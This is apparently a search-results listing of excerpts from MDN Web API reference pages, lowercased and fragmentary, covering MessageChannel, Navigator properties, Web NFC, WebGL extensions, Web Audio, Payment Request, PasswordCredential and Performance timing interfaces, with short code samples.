... specifications specification status comment html living standardthe definition of 'messagechannel()' in that specification.
MessageChannel.port1 - Web APIs
example in the following code block, you can see a new channel being created using the messagechannel() constructor.
...channel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } specifications specification status comment html living standardthe definition of 'port1' in that specification.
MessageChannel.port2 - Web APIs
example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
... specifications specification status comment html living standardthe definition of 'port2' in that specification.
MessageChannel - Web APIs
example in the following example, you can see a new channel being created using the messagechannel.messagechannel constructor.
... specifications specification status comment html living standardthe definition of 'message channels' in that specification.
MessageEvent.data - Web APIs
WebAPIMessageEventdata
syntax var data = messageevent.data; value the data sent by the message emitter; this can be any data type.
... example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); }; specifications specification status comment html living standardthe definition of 'messageevent: data' in that specification.
MessageEvent.ports - Web APIs
otherwise called implicitly by onmessage setter.
... } specifications specification status comment html living standardthe definition of 'ports' in that specification.
MessagePort.close() - Web APIs
WebAPIMessagePortclose
example in the following code block, you can see a handlemessage handler function, run when a message is sent back to this document using eventtarget.addeventlistener.
... channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); you could stop messages being sent at any time using channel.port1.close(); specifications specification status comment html living standardthe definition of 'close()' in that specification.
MessagePort.onmessageerror - Web APIs
the onmessageerror event handler of the messageport interface is an eventlistener, called whenever an messageevent of type messageerror is fired on the port—that is, when it receives a message that cannot be deserialized.
...}; specifications specification status comment html living standardthe definition of 'onmessageerror' in that specification.
MessagePort.start() - Web APIs
WebAPIMessagePortstart
example in the following code block, you can see a handlemessage handler function, run when a message is sent back to this document using onmessage: channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } another option would be to do this using eventtarget.addeventlistener, however, when this method is used, you need to explicitly call start() to begin the flow of messages to this document: channel.port1.addeventlistener('...
...message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); specifications specification status comment html living standardthe definition of 'start()' in that specification.
Metadata.size - Web APIs
WebAPIMetadatasize
syntax var size = metadata.size; value a number indicating the size of the file in bytes.
... workingdirectory.getfile("log/important.log", {}, function(fileentry) { fileentry.getmetadata(function(metadata) { if (metadata.size > 1048576) { fileentry.remove(function() { /* log file removed; do something clever here */ }); } }); }, handleerror); this api has no official w3c or whatwg specification.
MimeType - Web APIs
WebAPIMimeType
for example, a browser's content decryption module may appear in the plugin list but support more file extensions than can be anticipated.
... specifications specification status comment html living standardthe definition of 'mimetype' in that specification.
MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN - Web APIs
because webkit_force_at_force_mouse_down is a static property of mouseevent, you always use it as mouseevent.webkit_force_at_force_mouse_down, rather than as a property of a mouseevent instance.
... specifications not part of any specification.
MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN - Web APIs
because webkit_force_at_mouse_down is a static property of mouseevent, you always use it as mouseevent.webkit_force_at_mouse_down, rather than as a property of a mouseevent instance.
... specifications not part of any specification.
MouseEvent.getModifierState() - Web APIs
this is case-sensitive.
... specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'getmodifierstate()' in that specification.
MouseEvent.movementX - Web APIs
html <p id="log">move your mouse around.</p> javascript function logmovement(event) { log.insertadjacenthtml('afterbegin', `movement: ${event.movementx}, ${event.movementy}<br>`); while (log.childnodes.length > 128) log.lastchild.remove() } const log = document.getelementbyid('log'); document.addeventlistener('mousemove', logmovement); result specifications specification status comment pointer lockthe definition of 'mouseevent.movementx' in that specification.
... candidate recommendation initial definition ...
MouseEvent.movementY - Web APIs
html <p id="log">move your mouse around.</p> javascript function logmovement(event) { log.innertext = `movement: ${event.movementx}, ${event.movementy}\n${log.innertext}`; } const log = document.getelementbyid('log'); document.addeventlistener('mousemove', logmovement); result specifications specification status comment pointer lockthe definition of 'mouseevent.movementy' in that specification.
... candidate recommendation initial definition.
MouseEvent.mozInputSource - Web APIs
the mouseevent.mozinputsource read-only property on mouseevent provides information indicating the type of device that generated the event.
... specifications not part of any specification.
MouseWheelEvent - Web APIs
like mousescrollevent, this interface is non-standard and deprecated.
... the value along vertical axis of wheeldelta.
msSetMediaProtectionManager - Web APIs
the mediaprotectionmanager class can be passed as an input to a media playback api or the mediaprotectionmanager property inside the tag's video or audio.
... the optional parameter of the mssetmediaprotectionmanager property is mediaprotectionmanager and can be any type.
NDEFMessage - Web APIs
the ndefmessage interface of the web nfc api is an abstract interface that represents message that can be received or sent to a to compatible nfc devices, e.g.
... specifications specification status comment web nfc, ndefmessage draft initial definition.
NDEFReader.onerror - Web APIs
the onerror property of ndefreader interface of the web nfc api is called whenever an error occurs during reading of nfc tags, e.g.
... specifications specification status comment web nfc, ndefreader.onerror draft initial definition.
NDEFReader.onreading - Web APIs
the onreading property of ndefreader interface of the web nfc api is called whenever a new reading is available from compatible nfc devices, e.g.
... specifications specification status comment web nfc, ndefreader.onreadig draft initial definition.
NDEFReadingEvent - Web APIs
ndefreadingevent.serialnumber read only represents the serial number of the device used for anti-collision and identification, or empty string in case none is available.
... specifications specification status comment web nfc, ndefreadingevent draft initial definition.
NDEFRecord() - Web APIs
the ndefrecord() constructor of the web nfc api returns a newly constructed ndefrecord object that represents data that can be read from or written to compatible nfc devices, e.g.
... specifications specification status comment web nfc, ndefrecord draft initial definition.
NDEFRecord.encoding - Web APIs
syntax ndefrecord.encoding value a usvstring which can be one of the following: "utf-8", "utf-16", "utf-16le" or "utf-16be".
... specifications specification status comment web nfc, ndefrecord.encoding draft initial definition.
NDEFRecord.lang - Web APIs
WebAPINDEFRecordlang
the record might be missing a language tag, for example, if the recorded information is not locale-specific.
... specifications specification status comment web nfc, ndefrecord.lang draft initial definition.
NDEFWriter - Web APIs
methods ndefwriter.write() called to write ndef message to a tag (after ensuring hardware and ua compatibility and obtaining permission from the user) or get an error explaining why feature is not available.
... specifications specification status comment web nfc, ndefreader draft initial definition.
NameList - Web APIs
WebAPINameList
items can be accessed by a 0-based index.
... specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'namelist' in that specification.
Navigator.buildID - Web APIs
WebAPINavigatorbuildID
syntax buildid = navigator.buildid; value a string representing the build identifier of the application.
... example console.log(window.navigator.buildid); specification not part of any public standard.
Navigator.connection - Web APIs
specifications specification status comment network information apithe definition of 'navigator.connection' in that specification.
... draft initial specification ...
Navigator.cookieEnabled - Web APIs
navigator.cookieenabled returns a boolean value that indicates whether cookies are enabled or not.
...} specifications specification status comment html living standardthe definition of 'navigator.cookieenabled' in that specification.
Navigator.credentials - Web APIs
this interface can be used for feature detection.
...}; specifications specification status comment credential management level 1 working draft initial definition.
Navigator.doNotTrack - Web APIs
the navigator.donottrack property returns the user's do not track setting, which indicates whether the user is requesting web sites and advertisers to not track them.
... example console.log(navigator.donottrack); // prints "1" if dnt is enabled; "0" if the user opted-in for tracking; otherwise this is "unspecified" specifications specification status comment tracking preference expression (dnt)the definition of 'navigator.donottrack' in that specification.
Navigator.keyboard - Web APIs
the keyboard read-only property of the navigator interface returns a keyboard object which provides access to functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard.
... specifications specification status comment keyboard mapthe definition of 'keyboard' in that specification.
Navigator.maxTouchPoints - Web APIs
syntax touchpoints = navigator.maxtouchpoints; example if (navigator.maxtouchpoints > 1) { // browser supports multi-touch } specifications specification status comment pointer events – level 2the definition of 'maxtouchpoints' in that specification.
... pointer eventsthe definition of 'maxtouchpoints' in that specification.
msSaveBlob - Web APIs
return value true is returned as long as the download notification bar is displayed, or false if a failure occured.
... notes when a site calls this method, the behavior is the same as when windows internet explorer downloads a file with the following in the header, where x-download-options removes the file open button from the browser file download dialog: content-length: <blob.size> content-type: <blob.type> content-disposition: attachment;filename=<defaultname> x-download-options: noopen specifications not part of any specifications.
msSaveOrOpenBlob - Web APIs
return value true is returned as long as the download notification bar is displayed, or false if a failure occurred.
... notes when a site calls this method, the behavior is the same as when windows internet explorer downloads a file with the following in the header: content-length: <blob.size> content-type: <blob.type> content-disposition: attachment;filename=<defaultname> specifications not part of any specifications.
Navigator.registerContentHandler() - Web APIs
example navigator.registercontenthandler( "application/vnd.mozilla.maybe.feed", "http://www.example.tld/?foo=%s", "my feed reader" ); notes for firefox 2 and above, only the application/vnd.mozilla.maybe.feed, application/atom+xml, and application/rss+xml mime types are supported.
... specifications specification status comment html 5.2the definition of 'registercontenthandler()' in that specification.
Navigator.serviceWorker - Web APIs
the navigator.serviceworker read-only property returns the serviceworkercontainer object for the associated document, which provides access to registration, removal, upgrade, and communication with the serviceworker.
...} specifications specification status comment service workersthe definition of 'navigator.serviceworker' in that specification.
NavigatorID.appVersion - Web APIs
example alert('your browser version is reported as ' + navigator.appversion); notes the window.navigator.useragent property may also contain the version number (for example "mozilla/5.0 (windows; u; win98; en-us; rv:0.9.2) gecko/20010725 netscape 6/6.1"), but you should be aware of how easy it is to change the user agent string and "spoof" other browsers, platforms, or user agents, and also how cavalier the browser vendor themselves are with these properties.
... specifications specification status comment html living standardthe definition of 'navigatorid.appversion' in that specification.
NavigatorID.platform - Web APIs
the specification allows browsers to always return the empty string, so don't rely on this property to get a reliable answer.
... specifications specification status comment html living standardthe definition of 'navigatorid.platform' in that specification.
NavigatorLanguage.language - Web APIs
note that in safari on ios prior to 10.2, the country code returned is lowercase: "en-us", "fr-fr" etc.
... example if (/^en\b/.test(navigator.language)) { dolangselect(window.navigator.language); } specifications specification status comment html living standardthe definition of 'navigatorlanguage: language' in that specification.
NavigatorOnLine - Web APIs
navigatoronline.online read only returns a boolean indicating whether the browser is working online.
... specifications specification status html living standardthe definition of 'navigatoronline' in that specification.
NavigatorPlugins.mimeTypes - Web APIs
example function isjavapresent() { return 'application/x-java-applet' in navigator.mimetypes; } function getjavaplugindescription() { var mimetype = navigator.mimetypes['application/x-java-applet']; if (mimetype === undefined) { // no java plugin present return undefined; } return mimetype.enabledplugin.description; } specifications specification status comment html living standardthe definition of ...
...'navigatorplugins.mimetypes' in that specification.
NavigatorPlugins - Web APIs
navigatorplugins.javaenabled() read only returns a boolean flag indicating whether the host browser is java-enabled or not.
... specifications specification status comment html living standardthe definition of 'navigatorplugins' in that specification.
NetworkInformation.rtt - Web APIs
this value is based on recently observed application-layer rtt measurements across recently active connections.
... specifications specification status comment network information apithe definition of 'rtt' in that specification.
NetworkInformation.type - Web APIs
the networkinformation.type read-only property returns the type of connection a device is using to communicate with the network.
... syntax var type = netinfo.type return value an enumerated value that is one of the following values: "bluetooth" "cellular" "ethernet" "none" "wifi" "wimax" "other" "unknown" specifications specification status comment network information apithe definition of 'type' in that specification.
Node.baseURIObject - Web APIs
the node.baseuriobject property returns the nsiuri representing the node's (typically a document or an element) base url.
... specification not in any specification.
Node.getUserData() - Web APIs
WebAPINodegetUserData
element.dataset or weakmap can be used instead.
... example var d = document.setuserdata('key', 15, null); console.log(document.getuserdata('key')); // 15 specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'node.getuserdata()' in that specification.
Node.hasChildNodes() - Web APIs
the node.haschildnodes() method returns a boolean value indicating whether the given node has child nodes or not.
...e possible polyfill: ;(function(prototype) { prototype.haschildnodes = prototype.haschildnodes || function() { return !!this.firstchild; } })(node.prototype); there are various ways to determine whether the node has a child node: node.haschildnodes() node.firstchild != null (or just node.firstchild) node.childnodes && node.childnodes.length (or node.childnodes.length > 0) specifications specification status comment domthe definition of 'node: haschildnodes' in that specification.
Node.isSameNode() - Web APIs
WebAPINodeisSameNode
ipt let output = document.getelementbyid("output"); let divlist = document.getelementsbytagname("div"); output.innerhtml += "div 0 same as div 0: " + divlist[0].issamenode(divlist[0]) + "<br/>"; output.innerhtml += "div 0 same as div 1: " + divlist[0].issamenode(divlist[1]) + "<br/>"; output.innerhtml += "div 0 same as div 2: " + divlist[0].issamenode(divlist[2]) + "<br/>"; results specifications specification status comment domthe definition of 'node: issamenode' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'node.issamenode()' in that specification.
Node.parentNode - Web APIs
WebAPINodeparentNode
example if (node.parentnode) { // remove a node from the tree, unless // it's not in the tree already node.parentnode.removechild(node); } notes document and documentfragment nodes can never have a parent, so parentnode will always return null.
... specifications specification status comment domthe definition of 'node: parentnode' in that specification.
Node.prefix - Web APIs
WebAPINodeprefix
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'node.prefix' in that specification.
... document object model (dom) level 2 core specificationthe definition of 'initial definition' in that specification.
Node.replaceChild() - Web APIs
WebAPINodereplaceChild
example // given: // <div> // <span id="childspan">foo bar</span> // </div> // create an empty element node // without an id, any attributes, or any content var sp1 = document.createelement("span"); // give it an id attribute called 'newspan' sp1.id = "newspan"; // create some content for the new element.
...pply that content to the new element sp1.appendchild(sp1_content); // build a reference to the existing node to be replaced var sp2 = document.getelementbyid("childspan"); var parentdiv = sp2.parentnode; // replace existing node sp2 with the new span element sp1 parentdiv.replacechild(sp1, sp2); // result: // <div> // <span id="newspan">new replacement span element.</span> // </div> specifications specification status comment domthe definition of 'node: replacechild' in that specification.
NodeIterator.expandEntityReferences - Web APIs
the nodeiterator.expandentityreferences read-only property returns a boolean flag indicating whether or not the children of entity reference nodes are visible to the nodeiterator.
... syntax expand = nodeiterator.expandentityreferences; example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); expand = nodeiterator.expandentityreferences; specifications specification status comment document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.expandentityreferences' in that specification.
NodeIterator.pointerBeforeReferenceNode - Web APIs
the nodeiterator.pointerbeforereferencenode read-only property returns a boolean flag that indicates whether the nodefilter is anchored before (if this value is true) or after (if this value is false) the anchor node indicated by the nodeiterator.referencenode property.
... syntax flag = nodeiterator.pointerbeforereferencenode; example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); flag = nodeiterator.pointerbeforereferencenode; specifications specification status comment domthe definition of 'nodeiterator.pointerbeforereferencenode' in that specification.
OES_fbo_render_mipmap - Web APIs
examples see the sample code in the khronos specification.
... specifications specification status oes_fbo_render_mipmap draft ...
OES_texture_float - Web APIs
if you set the magnification or minification filter in the webglrenderingcontext.texparameter() method to one of gl.linear, gl.linear_mipmap_nearest, gl.nearest_mipmap_linear, or gl.linear_mipmap_linear, and use floating-point textures, the texture will be marked as incomplete.
... examples var ext = gl.getextension('oes_texture_float'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, gl.float, image); specifications specification status comment oes_texture_floatthe definition of 'oes_texture_float' in that specification.
OES_texture_float_linear - Web APIs
with the help of this extension, you can now set the magnification or minification filter in the webglrenderingcontext.texparameter() method to one of gl.linear, gl.linear_mipmap_nearest, gl.nearest_mipmap_linear, or gl.linear_mipmap_linear, and use floating-point textures.
... examples gl.getextension('oes_texture_float'); gl.getextension('oes_texture_float_linear'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.texparameterf(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, gl.float, image); specifications specification status comment oes_texture_float_linearthe definition of 'oes_texture_float_linear' in that specification.
OES_texture_half_float - Web APIs
if you set the magnification or minification filter in the webglrenderingcontext.texparameter() method to one of gl.linear, gl.linear_mipmap_nearest, gl.nearest_mipmap_linear, or gl.linear_mipmap_linear, and use half floating-point textures, the texture will be marked as incomplete.
... examples var ext = gl.getextension('oes_texture_half_float'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, ext.half_float_oes, image); specifications specification status comment oes_texture_half_floatthe definition of 'oes_texture_half_float' in that specification.
OES_texture_half_float_linear - Web APIs
with the help of this extension, you can now set the magnification or minification filter in the webglrenderingcontext.texparameter() method to one of gl.linear, gl.linear_mipmap_nearest, gl.nearest_mipmap_linear, or gl.linear_mipmap_linear, and use half floating-point textures.
... examples var halffloat = gl.getextension('oes_texture_half_float'); gl.getextension('oes_texture_half_float_linear'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.texparameterf(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, halffloat.half_float_oes, image); specifications specification status comment oes_texture_half_float_linearthe definition of 'oes_texture_half_float_linear' in that specification.
OES_vertex_array_object.bindVertexArrayOES() - Web APIs
// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
... specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification.
OES_vertex_array_object.createVertexArrayOES() - Web APIs
// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
... specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification.
OES_vertex_array_object.isVertexArrayOES() - Web APIs
return value a glboolean indicating whether the given object is a webglvertexarrayobject object (true) or not (false).
... ext.isvertexarrayoes(vao); specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification.
OfflineAudioCompletionEvent - Web APIs
note: this interface is marked as deprecated; it is still supported for legacy reasons, but it will soon be superseded when the promise version of offlineaudiocontext.startrendering is supported in browsers, which will no longer need it.
... specifications specification status comment web audio apithe definition of 'offlineaudiocompletionevent' in that specification.
OfflineAudioContext: complete event - Web APIs
bubbles no cancelable no default action none interface offlineaudiocompletionevent event handler property offlineaudiocontext.oncomplete examples when processing is complete, you might want to use the oncomplete handler the prompt the user that the audio can now be played, and enable the play button: let offlineaudioctx = new offlineaudiocontext(); offlineaudioctx.addeventlistener('complete', () => { console.log('offline audio processing now complete'); showmodaldialog('song processed and ready to play'); playbtn.disabled = false; }) you can also set up the event handler using the offlineaud...
...iocontext.oncomplete property: let offlineaudioctx = new offlineaudiocontext(); offlineaudioctx.oncomplete = function() { console.log('offline audio processing now complete'); showmodaldialog('song processed and ready to play'); playbtn.disabled = false; } specifications specification status comment web audio apithe definition of 'offlineaudiocompletionevent' in that specification.
OfflineAudioContext.resume() - Web APIs
the promise resolves immediately because the offlineaudiocontext does not require the audio hardware.
... specifications specification status comment web audio apithe definition of 'resume()' in that specification.
OfflineAudioContext.startRendering() - Web APIs
startrendering().then(function(renderedbuffer) { console.log('rendering completed successfully'); var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var song = audioctx.createbuffersource(); song.buffer = renderedbuffer; song.connect(audioctx.destination); play.onclick = function() { song.start(); } }).catch(function(err) { console.log('rendering failed: ' + err); // note: the promise should reject when startrendering is called a second time on an offlineaudiocontext }); }); } request.send(); } // run getdata to start the process off getdata(); specifications specification status comment web audio apithe definition of 'startrendering()...
...' in that specification.
OscillatorNode.OscillatorNode() - Web APIs
if the default values of the properties are acceptable, you can optionally use the audiocontext.createoscillator() factory method instead.
... specifications specification status comment web audio apithe definition of 'oscillatornode()' in that specification.
OverconstrainedError.constraint - Web APIs
syntax var constraint = overconstrainederror.constraint; value a string specifications specification status comment media capture and streamsthe definition of 'constraint' in that specification.
... candidate recommendation initial definition.
OverconstrainedError.message - Web APIs
specifications specification status comment media capture and streamsthe definition of 'message' in that specification.
... candidate recommendation initial definition.
OverconstrainedError.name - Web APIs
specifications specification status comment media capture and streamsthe definition of 'name' in that specification.
... candidate recommendation initial definition.
Paint​Worklet​.device​Pixel​Ratio - Web APIs
the paintworklet.devicepixelratio read-only property of the paintworklet interface returns the current device's ratio of physical pixels to logical pixels.
... specifications specification status comment css painting api level 1the definition of 'paintworklet.devicepixelratio' in that specification.
PaintWorklet.devicePixelRatio - Web APIs
the paintworklet.devicepixelratio read-only property of the paintworklet interface returns the current device's ratio of physical pixels to logical pixels.
... specifications specification status comment css painting api level 1the definition of 'paintworklet.devicepixelratio' in that specification.
PaintWorklet.devicePixelRatio - Web APIs
the paintworklet.devicepixelratio read-only property of the paintworklet interface returns the current device's ratio of physical pixels to logical pixels.
... specifications specification status comment css painting api level 1the definition of 'paintworklet.devicepixelratio' in that specification.
PannerNode.PannerNode() - Web APIs
the default is 0, and its value can be in the range 0–1.
... example var ctx = new audiocontext(); var options = { positionx : 1, maxdistance: 5000 } var mypanner = new pannernode(ctx, options); specifications specification status comment web audio apithe definition of 'pannernode()' in that specification.
PannerNode.rolloffFactor - Web APIs
: const context = new audiocontext(); // all our test tones will last this many seconds const note_length = 4; // this is how far we'll move the sound const z_distance = 20; // this function creates a graph for the test tone with a given rollofffactor // and schedules it to move away from the listener along the z (depth-wise) axis // at the given start time, resulting in a decrease in volume (decay) const scheduletesttone = (rollofffactor, starttime) => { const osc = new oscillatornode(context); const panner = new pannernode(context); panner.rollofffactor = rollofffactor; // set the initial z position, then schedule the ramp panner.positionz.setvalueattime(0, starttime); panner.positionz.linearramptovalueattime(z_distance, starttime + note_length); osc.connect(panner) ...
... .connect(context.destination); osc.start(starttime); osc.stop(starttime + note_length); }; // this tone should decay fairly quickly scheduletesttone(1, context.currenttime); // this tone should decay slower than the previous one scheduletesttone(0.5, context.currenttime + note_length); // this tone should decay only slightly scheduletesttone(0.1, context.currenttime + note_length * 2); after running this code, the resulting waveforms should look something like this: specifications specification status comment web audio apithe definition of 'rollofffactor' in that specification.
PasswordCredential - Web APIs
examples this example shows how to set up an htmlformelement to caputure data which we'll use to create a passwordcredential object.
...}); specifications specification status comment credential management level 1 working draft initial definition.
PasswordCredential.additionalData - Web APIs
it then stores the form object in the additionaldata parameter, before sending it to server in a call to fetch.
...navigator.credentials.get(options).then(function(creds) { if (creds.type == 'password') { var form = new formdata(); var csrf_token = document.queryselector('csrf_token').value; form.append('csrf_token', csrf_token); creds.additionaldata = form; fetch('https://www.example.com', { method: 'post', credentials: creds }); }; }); specifications specification status comment credential management level 1 working draft initial definition.
PasswordCredential.iconURL - Web APIs
the url must be accessible without authentication.
... specifications specification status comment credential management level 1the definition of 'iconurl' in that specification.
Path2D() - Web APIs
WebAPIPath2DPath2D
<canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let path1 = new path2d(); path1.rect(10, 10, 100,100); let path2 = new path2d(path1); path2.moveto(220, 60); path2.arc(170, 60, 50, 0, 2 * math.pi); ctx.stroke(path2); using svg paths this example creates a path2d path using svg path data.
... <canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let p = new path2d('m10 10 h 80 v 80 h -80 z'); ctx.fill(p); specification specification status comment html living standardthe definition of 'path2d()' in that specification.
PayerErrors.name - Web APIs
WebAPIPayerErrorsname
// } specifications specification status comment payment request apithe definition of 'payererrors.name' in that specification.
... candidate recommendation initial definition.
PayerErrors.phone - Web APIs
WebAPIPayerErrorsphone
// } specifications specification status comment payment request apithe definition of 'payererrors.phone' in that specification.
... candidate recommendation initial definition.
PaymentAddress.addressLine - Web APIs
index addressline[] value 0 metal box factory 1 suite 441, 4th floor 2 30 great guildford street these, combined with additional values for other properties of the paymentaddress, would represent the full address, which is: mozilla metal box factory suite 441, 4th floor 30 great guildford street london se1 0hs united kingdom specifications specification status comment payment request apithe definition of 'paymentaddress.addressline' in that specification.
... candidate recommendation initial definition.
PaymentAddress.languageCode - Web APIs
this is used while localizing the displayy of the address, allowing the determination of the field separators and the order of fields when formatting the address.
... syntax var paymentlanguagecode = paymentaddress.languagecode; value a domstring providing the bcp-47 format language code indicating the language the address was written in, such as "en-us", "pt-br", or "ja-jp".
PaymentAddress.phone - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.phone' in that specification.
... candidate recommendation initial definition.
PaymentAddress.postalCode - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.postalcode' in that specification.
... candidate recommendation initial definition.
PaymentAddress.recipient - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.recipient' in that specification.
... candidate recommendation initial definition.
PaymentAddress.sortingCode - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.sortingcode' in that specification.
... candidate recommendation initial definition.
PaymentRequest.shippingType - Web APIs
specifications specification status comment payment request apithe definition of 'shippingtype' in that specification.
... candidate recommendation initial definition.
PaymentRequestEvent - Web APIs
methods openwindow() opens the specified url in a new window, if and only if the given url is on the same origin as the calling page.
... specifications specification status comment payment handler apithe definition of 'paymentrequestevent' in that specification.
PaymentResponse.details - Web APIs
this data is returned by the payment app that satisfies the payment request, and must conform to the structure defined in the basiccardresponse dictionary.
... payment.show().then(paymentresponse => { var paymentdata = { // payment method string method: paymentresponse.methodname, // payment details as you requested details: paymentresponse.details, // shipping address information address: todict(paymentresponse.shippingaddress) }; // send information to the server }); specifications specification status comment payment request api candidate recommendation initial definition.
PaymentRequest.payerName - Web APIs
specifications specification status comment payment request apithe definition of 'payername' in that specification.
... candidate recommendation initial definition.
PaymentResponse.requestId - Web APIs
specifications specification status comment payment request apithe definition of 'requestid' in that specification.
... candidate recommendation initial definition.
performance.clearResourceTimings() - Web APIs
performance data buffer not cleared!"); } specifications specification status comment resource timing level 1the definition of 'clearresourcetimings()' in that specification.
... candidate recommendation initial definition.
Performance.memory - Web APIs
totaljsheapsize the total allocated heap size, in bytes.
... specifications none.
Performance.navigation - Web APIs
this property is deprecated in the navigation timing level 2 specification.
... syntax navobject = performance.navigation; specifications specification status comment navigation timingthe definition of 'performance.navigation' in that specification.
performance.setResourceTimingBufferSize() - Web APIs
performance.setresourcetimingbuffersize() = not supported"); } } specifications specification status comment resource timing level 1the definition of 'setresourcetimingbuffersize()' in that specification.
... candidate recommendation initial definition.
Performance.timing - Web APIs
this property is deprecated in the navigation timing level 2 specification.
... syntax timinginfo = performance.timing; specifications specification status comment navigation timing level 2 working draft initial definition.
PerformanceEntry.toJSON() - Web APIs
); else log("..." + properties[i] + " = not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'tojson' in that specification.
... candidate recommendation initial definition of tojson() method.
PerformanceLongTaskTiming - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#...
... specifications specification status comment long tasks api 1the definition of 'performancelongtasktiming' in that specification.
PerformanceNavigation.redirectCount - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... syntax amount = performancenavigation.redirectcount; specifications specification status comment navigation timingthe definition of 'performancenavigation.redirectcount' in that specification.
PerformanceNavigationTiming.type - Web APIs
reload navigation is through the browser's reload operation or location.reload().
... + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'type' in that specification.
PeformanceObserver.disconnect() - Web APIs
// disable additional performance events observer.disconnect(); } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'disconnect()' in that specification.
... candidate recommendation initial definition of disconnect() method.
PerformanceObserver.takeRecords() - Web APIs
example var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); var records = observer.takerecords(); console.log(records[0].name); console.log(records[0].starttime); console.log(records[0].duration); specifications specification status comment performance timeline level 2the definition of 'takerecords()' in that specification.
... candidate recommendation initial definition of takerecords() method.
PerformanceObserverEntryList - Web APIs
example // create observer for all performance event types // list is of type performanceobserveentrylist var observe_all = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); for (var i = 0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); // do something with it } }) specifications specification status comment performance timeline level 2the definition of 'performanceobserverentrylist' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.connectStart - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'connectstart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.domainLookupStart - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'domainlookupstart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.fetchStart - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'fetchstart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.redirectEnd - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'redirectend' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.redirectStart - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'redirectstart' in that specification.
... candidate recommendation initial definition.
